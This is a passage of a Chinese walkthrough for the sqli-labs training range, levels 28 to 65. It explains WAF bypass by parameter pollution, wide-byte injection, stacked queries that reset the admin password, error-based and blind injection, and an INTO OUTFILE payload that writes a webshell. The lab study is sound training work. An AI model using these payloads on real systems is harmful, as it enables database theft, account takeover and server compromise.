依舊是過(guò)濾 union select 組合,但空格和注釋好像沒(méi)被過(guò)濾。
查看源碼,確實(shí)只過(guò)濾了union select組合。雙寫(xiě)這個(gè)組合繞過(guò)。
這里代碼和28差不多,而且過(guò)濾更不嚴(yán)格。
id=-1') unionunion select select 1,database(),3 --+
33、level 29
這里是 基于WAF的一個(gè)錯(cuò)誤引起的SQL注入,源代碼level 29文件夾里有三個(gè)php文件,默認(rèn)訪問(wèn)這個(gè)文件夾的index.php但這個(gè)文件是沒(méi)有接入“WAF”的。應(yīng)該指定訪問(wèn)login.php。
單引號(hào)測(cè)試被WAF攔截直接跳轉(zhuǎn)到hacked.php頁(yè)面。
源代碼對(duì)id的值進(jìn)行了校驗(yàn)必須是數(shù)字
- foreach循環(huán)
第一方式 foreache($qs_array as $val)
這里的$qs_array
就是需要遍歷的數(shù)組名,每次循環(huán)時(shí),$qs_array
數(shù)組的當(dāng)前元素的值被賦值給$val,并且數(shù)組的會(huì)逐次向后移動(dòng)一步,即下次循環(huán)得到另一個(gè)元素;
第二方式 foreache($qs_array as $key => $val)
第二種和第一種不同的是多了一個(gè)key,key代表鍵值也是下標(biāo)(比如:name[0]='張三’中的[0]就是下標(biāo)值),在這樣的循環(huán)下,不僅要將當(dāng)前元素賦予$val
,也要把當(dāng)前的鍵職賦值給$key
來(lái)看看第二種格式,第二種格式除了能像第一種格式一樣得到數(shù)組內(nèi)元素的值外,還能得到元素的索引值,并保存到$key變量中,如果數(shù)組的索引值未經(jīng)過(guò)人工設(shè)定,則返回系統(tǒng)默認(rèn)的設(shè)定值。
- WAF運(yùn)行規(guī)則
根據(jù)其中代碼邏輯,WAF 會(huì)檢測(cè) id 是否為數(shù)字,如果不是一律轉(zhuǎn)向 hacked.php。但是程序 沒(méi)有考慮當(dāng) id 多次賦值的情況,它只對(duì)第一次的 id 進(jìn)行了測(cè)試,如果傳入多個(gè) id,(如id=1&id=1&id=…)那么后 面的 id 則存在注入漏洞。
-
http參數(shù)污染
**HTTP參數(shù)污染原理:**通常在一個(gè)請(qǐng)求中,同樣名稱的參數(shù)只會(huì)出現(xiàn)一次。但是在HTTP協(xié)議中是允許同樣名稱的參數(shù)出現(xiàn)多次的。針對(duì)同樣名稱的參數(shù)出現(xiàn)多次的情況,不同的服務(wù)器的處理方式會(huì)不一樣:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-QxxdomZQ-1679104162982)(img/webp.webp)]
-
繞過(guò)
這里可以使用參數(shù)污染繞過(guò),就是傳入多個(gè)id。(如id=1&id=1&id=…)。第一個(gè) id要符合WAF的放行規(guī)則,必須是數(shù)字。
第一個(gè)id的值符合規(guī)則,WAF放行。但 $_GET獲取的是最后個(gè)id參數(shù),并直接傳入SQL語(yǔ)句中執(zhí)行,如果最后一個(gè)參數(shù)插入注入語(yǔ)句 ,就會(huì)繞過(guò)WAF造成SQL注入。
示例:(報(bào)錯(cuò)、布爾、延時(shí)這里都可)
id=1&id=-1%27%20%20union%20%20select%201,2,@@datadir%20--+
34、level 30
這里和29一樣,不過(guò)這里是雙引號(hào)閉合。
示例:
id=1&id=-1"%20union%20select%201,2,@@datadir%20--+
35、level 31
這里與level 29、30 一樣,閉合方式不一樣這里是雙引號(hào)括號(hào)閉合
示例:
id=1&id=-1")%20union%20select%201,2,@@datadir%20--+
36、level 32
使用單引號(hào)測(cè)試發(fā)現(xiàn),被轉(zhuǎn)義了(即前面加了個(gè)反斜杠)。
這里將斜杠、單引號(hào)、雙引號(hào)都轉(zhuǎn)義了
preg_replace是PHP中用來(lái)執(zhí)行正則表達(dá)式的匹配以及替換的函數(shù)。可以返回一個(gè)正則表達(dá)式轉(zhuǎn)換后的值。
preg_quote() 以 str 為參數(shù)并給其中每個(gè)屬于正則表達(dá)式語(yǔ)法的字符前面加上一個(gè)反斜線。如果你需要以動(dòng)態(tài)生成的字符串作為模式去匹配則可以用此函數(shù)轉(zhuǎn)義其中可能包含的特殊字符。
并且設(shè)置數(shù)據(jù)庫(kù)字符集為gbk
因此這里可以使用寬字符注入,示例:%df與反斜杠即%5c按照gbk編碼規(guī)則可以組成一個(gè)漢字”運(yùn)“,這就相當(dāng)于消除了單引號(hào)前的轉(zhuǎn)義符
需要將瀏覽器編碼設(shè)置為gbk,才能看到效果
這里注入可以使用報(bào)錯(cuò)、布爾、延時(shí)和聯(lián)合查詢
id=-1%df%27%20union%20select%201,2,user()%20--+
**注意:**level 32~level 37都是轉(zhuǎn)義特殊符號(hào)來(lái)達(dá)到防止SQL注入,考察的是寬字節(jié)注入,注入手法都類似,不再過(guò)多詳述
37、level 33
這里效果與level 32 一致,只不過(guò)這里轉(zhuǎn)義字符的函數(shù)換成了addslashes。
addslashes() 函數(shù)在指定的預(yù)定義字符前添加反斜杠。這些字符是單引號(hào)(')、雙引號(hào)(")、反斜線(\)與NUL(NULL字符)
這里注入可以參考level 32,二者注入效果一致。
38、level 34
這里post提交參數(shù),也是使用addslashes() 函數(shù)轉(zhuǎn)義特殊符號(hào)??梢詤⒄誰(shuí)evel 32、33,它們一樣的效果。
同樣可以使用寬字節(jié)繞過(guò),
uname=Dumb%df' union select 1,user() --+&passwd=Dumb&submit=Submit
39、level 35
這里同樣是addslashes()函數(shù)轉(zhuǎn)義
但是id是一個(gè)數(shù)字型的變量,不需要單引號(hào)閉合。所以這個(gè)addslashes()函數(shù)轉(zhuǎn)義過(guò)濾沒(méi)有意義。
id=-1%20union%20select%201,2,database()%20--+
40、level 36
這里使用單引號(hào)閉合同樣被轉(zhuǎn)義,但這里使用的是mysql_real_escape_string 函數(shù)。
mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語(yǔ)句中使用的字符串中的特殊字符。如果成功,則該函數(shù)返回被轉(zhuǎn)義的字符串。如果失敗,則返回 false。
使用寬字節(jié)繞過(guò)即可
id=-1%df%27%20union%20select%201,2,database()%20--+
41、level 37
這里是post傳參,和level 34非常像,不同的是使用了同level 36 的mysql_real_escape_string函數(shù)轉(zhuǎn)義特殊字符。
同樣設(shè)置了gbk的編碼方式,可以使用寬字節(jié)注入
uname=Dumb&passwd=Dumb%df' union select 1,database() --+&submit=Submit
42、level 38
測(cè)試的這里為單引號(hào)閉合
測(cè)試這里除了聯(lián)合查詢、布爾盲注、延時(shí)注入、報(bào)錯(cuò)注入外,還可以使用堆疊注入。
堆疊注入原理就是通過(guò)結(jié)束符同時(shí)執(zhí)行多條sql語(yǔ)句,這就需要服務(wù)器在訪問(wèn)數(shù)據(jù)端時(shí)使用的是可同時(shí)執(zhí)行多條sql語(yǔ)句的方法。
mysqli_multi_query() 函數(shù)執(zhí)行一個(gè)或多個(gè)針對(duì)數(shù)據(jù)庫(kù)的查詢。多個(gè)查詢用分號(hào)進(jìn)行分隔。
示例:修改admin密碼
原密碼
堆疊查詢修改
id=8%27;update%20users%20set%20password="duidie"%20where%20username="admin";%20--+
后端執(zhí)行的SQL語(yǔ)句
$sql="SELECT * FROM users WHERE id='1';update users set password="duidie" where username="admin" ;--+' LIMIT 0,1";
成功修改
注意:從level 38到45都是主要考察堆疊注入,38到41是差不多的類型,42到45時(shí)登錄場(chǎng)景的堆疊注入
43、level 39
經(jīng)測(cè)試這里為數(shù)字型注入
與level 38一樣,這里同樣使用了mysqli_multi_query函數(shù),允許多個(gè)SQL語(yǔ)句一起執(zhí)行
可以使用堆疊注入(其他注入手法也是可以的)
id=8;update%20users%20set%20password="leve139"%20where%20username="admin";%20--+
成功修改
44、level 40
這里關(guān)閉了報(bào)錯(cuò),根據(jù)前面的經(jīng)驗(yàn)來(lái)看這里應(yīng)該是使用了單引號(hào)括號(hào)閉合
熟悉的mysqli_multi_query函數(shù),這里依舊可以使用堆疊注入,除閉合方式不同、40關(guān)閉了報(bào)錯(cuò)回顯外,同level 38、39一樣
id=8%27);update%20users%20set%20password="level40"%20where%20username="admin";%20--+
成功修改
45、level 41
這里可以看做是關(guān)閉了報(bào)錯(cuò)回顯的level 39。數(shù)字型注入
同樣使用了mysqli_multi_query函數(shù),可以使用堆疊查詢(堆疊注入)
46、level 42
這里是模擬可以使用堆疊注入來(lái)修改密碼達(dá)到登錄管理員賬戶等目的一類場(chǎng)景。
源代碼對(duì)username參數(shù)進(jìn)行了過(guò)濾,但password參數(shù)沒(méi)有,可以注入。
登錄頁(yè)面由于使用mysqli_multi_query函數(shù),可以使用堆疊注入
可以先使用其他注入手法獲得數(shù)據(jù)庫(kù)信息,使用堆疊注入在修改密碼
示例:用報(bào)錯(cuò)注入獲得數(shù)據(jù)庫(kù)名
改密碼
login_password=41';update%20users%20set%20password="level42"%20where%20username="admin";--+&login_user=admin&mysubmit=Login
雖然密碼跳轉(zhuǎn)到錯(cuò)誤頁(yè)面但密碼確實(shí)改了
成功登錄
47、level 43
與level 42 略有不同這里需要單引號(hào)括號(hào)閉合
同樣密碼參數(shù)未過(guò)濾,且可以堆疊注入
改密碼
login_password=43');update%20users%20set%20password="level43"%20where%20username="admin";--+&login_user=admin&mysubmit=Login
48、level 44
源代碼與level 42相比,這里關(guān)閉了報(bào)錯(cuò)顯示。
所以注入的時(shí)候的一個(gè)一個(gè)猜閉合方式。1’ or 1=1 #
正確閉合萬(wàn)能密碼生效,登錄成功
注入?yún)⒖糽evel 42
49、level 45
密碼參數(shù)1’) or 1=1# 測(cè)得閉合方式為單引號(hào)括號(hào)閉合
源代碼同level 43關(guān)差不多,這里關(guān)閉了報(bào)錯(cuò)回顯
注入?yún)⒄誰(shuí)evel 43
50、level 46
測(cè)試發(fā)現(xiàn)這里為數(shù)字型注入
輸入sort值1、2、3會(huì)有不同的排序表結(jié)果??梢赃M(jìn)行desc/asc進(jìn)行排序,應(yīng)該是order by排序語(yǔ)句。因此不能使用聯(lián)合查詢,頁(yè)面有報(bào)錯(cuò)回顯,可以使用報(bào)錯(cuò)注入。
?sort=(extractvalue(1,concat(0x7e,(select%20database()),0x7e)))--+
寫(xiě)入webshell
?sort=1 into outfile "C:\\phpstudy\\PHPTutorial\\www\\webshell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
這里要注意一點(diǎn),因?yàn)橐判?。所以?huì)有很多結(jié)果,因此會(huì)多次寫(xiě)入語(yǔ)句,因此webshell中會(huì)有多條寫(xiě)入的phpinfo()
此外這里還可以使用延時(shí)注入,但由于結(jié)果有很多條的原因。所以延時(shí)會(huì)比sleep()里設(shè)置的要長(zhǎng)
這里一共有18條數(shù)據(jù),大概延時(shí)18秒左右
?sort=1%20and%20sleep(1)
**注意:**level 46到53源碼都是類似的order by排序語(yǔ)句,其中l(wèi)evel 50到53還可以堆疊注入
51、level 47
這里測(cè)試為字符型注入,單引號(hào)閉合方式
源代碼除了閉合方式不通過(guò)以外與level 46一致
注入?yún)⒄誰(shuí)evel 46
52、level 48
這里關(guān)閉了報(bào)錯(cuò)回顯,通過(guò)1 and sleep() --+ 測(cè)試發(fā)現(xiàn)為數(shù)字型注入
源代碼除了沒(méi)有報(bào)錯(cuò)回顯,與level 46一致
注入?yún)⒖糽evel 46
53、level 49
這里也是關(guān)閉了報(bào)錯(cuò)回顯,根據(jù)1‘ and sleep(1) --+發(fā)現(xiàn)這里是單引號(hào)閉合方式
源代碼除了沒(méi)有打印sql報(bào)錯(cuò),與level 47一致
注入?yún)⒄誰(shuí)evel 47
54、level 50
測(cè)試發(fā)現(xiàn)存在數(shù)字型注入
查看源代碼發(fā)現(xiàn),與level 46不同的是這里使用了mysqli_multi_query函數(shù)執(zhí)行SQL語(yǔ)句,這個(gè)函數(shù)可以執(zhí)行多條以’;'分隔的SQL語(yǔ)句。也就造成了堆疊注入。
這里除了可以使用同level 46一樣的報(bào)錯(cuò)注入和延時(shí)注入外還可以使用堆疊注入
例如:修改admin賬號(hào)的密碼
?sort=1;update%20users%20set%20password="level50"%20where%20username="admin";--+
成功修改
55、level 51
測(cè)試這里發(fā)現(xiàn)為單引號(hào)閉合
源代碼與level 50相比多了單引號(hào)的閉合
注入?yún)⒄誰(shuí)evel 50,但要注意這里有單引號(hào)閉合
56、level 52
這里同樣關(guān)閉了報(bào)錯(cuò),測(cè)得此處為數(shù)字型注入
源代碼與level 50一致,不過(guò)這里關(guān)閉了報(bào)錯(cuò)??梢允褂醚訒r(shí)注入獲得數(shù)據(jù)
同樣這里也可以使用能夠堆疊注入,參照l(shuí)evel 50
57、level 53
測(cè)得此處為單引號(hào)閉合的字符型注入
同樣使用了mysqli_multi_query函數(shù)可以執(zhí)行多個(gè)SQL語(yǔ)句,造成堆疊注入。源代碼與level 51一致,但這里關(guān)閉了報(bào)錯(cuò)
注入?yún)⒖糽evel 51與level 50
58、level 54
這里關(guān)閉了報(bào)錯(cuò)回顯,通過(guò)1‘ and 1=1 --+發(fā)現(xiàn)頁(yè)面正常(也可以直接1’ --+測(cè)試)。可知這里為單引號(hào)閉合的字符型注入。
這里只有十次機(jī)會(huì)用聯(lián)合查詢更快(報(bào)錯(cuò)關(guān)閉了用不了)
列數(shù)為三剛好正常
查數(shù)據(jù)庫(kù)名,表名
查字段名
查字段內(nèi)容,大概率是第二個(gè)
成功獲取
**注意:**這幾關(guān)主要是挑戰(zhàn)規(guī)定次數(shù)拿到key,考察SQL注入能力。類型都是前面遇到過(guò)的
59、level 55
測(cè)試發(fā)現(xiàn)此處為括號(hào)閉合的字符型注入
列為3
數(shù)據(jù)庫(kù)名表名
字段名
查看字段內(nèi)容
成功獲取key
60、level 56
測(cè)試為單引號(hào)括號(hào)的字符型注入
注入過(guò)程與level 55一致但要注意閉合方式為單引號(hào)括號(hào)
61、level 57
單引號(hào)測(cè)試頁(yè)面正常,雙引號(hào)頁(yè)面不顯示內(nèi)容。但加上注釋符后頁(yè)面正常。此處為雙引號(hào)閉合方式
注入過(guò)程同level 55
62、level 58
單引號(hào)測(cè)試報(bào)錯(cuò),根據(jù)顯示符號(hào)為單引號(hào)閉合方式。
這只有五次機(jī)會(huì),可以使用報(bào)錯(cuò)注入
節(jié)省機(jī)會(huì)直接獲取表名x4uje1yo6x
獲得字段名id,sessid,secret_VLMB,tryy
獲得字段內(nèi)容
成功獲取key
63、level 59
單引號(hào)測(cè)試報(bào)錯(cuò),根據(jù)報(bào)錯(cuò)可知為數(shù)字型注入
只有5次機(jī)會(huì),報(bào)錯(cuò)回顯,可以使用報(bào)錯(cuò)注入
注入?yún)⒄誰(shuí)evel 58
64、level 60
雙引號(hào)測(cè)試報(bào)錯(cuò),根據(jù)報(bào)錯(cuò)顯示可知這里為雙引號(hào)括號(hào)閉合方式
同樣只有5次機(jī)會(huì),報(bào)錯(cuò)有回顯使用報(bào)錯(cuò)注入
注入?yún)⒄誰(shuí)evel 58
65、level 61
單引號(hào)測(cè)試報(bào)錯(cuò),有報(bào)錯(cuò)可知這里為單引號(hào)雙括號(hào)閉合方式
也是只有5次機(jī)會(huì),報(bào)錯(cuò)有回顯,使用報(bào)錯(cuò)注入
注入?yún)⒄誰(shuí)evel 58 ,注意閉合方式的不同
66、level 62
這里測(cè)試閉合方式不太好測(cè)試,頁(yè)面關(guān)閉了報(bào)錯(cuò)回顯。直接單引號(hào)測(cè)試頁(yè)面顯示異常,雙引號(hào)括號(hào)均不影響頁(yè)面顯示
單引號(hào)加上括號(hào)后顯示正常
且有布爾和延時(shí)現(xiàn)象
這里可以使用布爾盲注和延時(shí)注入,參照l(shuí)evel 7和level 8
67、level 63
同樣關(guān)閉了報(bào)錯(cuò)回顯。1‘ --+頁(yè)面正常顯示,為單引號(hào)閉合方式的字符型注入
報(bào)錯(cuò)關(guān)閉不能使用報(bào)錯(cuò)注入,union聯(lián)合查詢不顯示到頁(yè)面。只用使用延時(shí)注入和布爾盲注,除閉合方式外同level 62
68、level 64
這里報(bào)錯(cuò)也不回顯,這里采用了雙括號(hào)的閉合方式,1)) --+頁(yè)面顯示正常
同樣使用延時(shí)注入和布爾盲注,出閉合方式外同level 62
69、level 65
與上一關(guān)相比這里的閉合方式換成了雙引號(hào)括號(hào)閉合
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-729426.html
使用布爾盲注或者延時(shí)注入,參照l(shuí)evel 62,62到65很像,但要注意閉合方式的區(qū)別文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-729426.html
到了這里,關(guān)于sqli-labs靶場(chǎng)分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!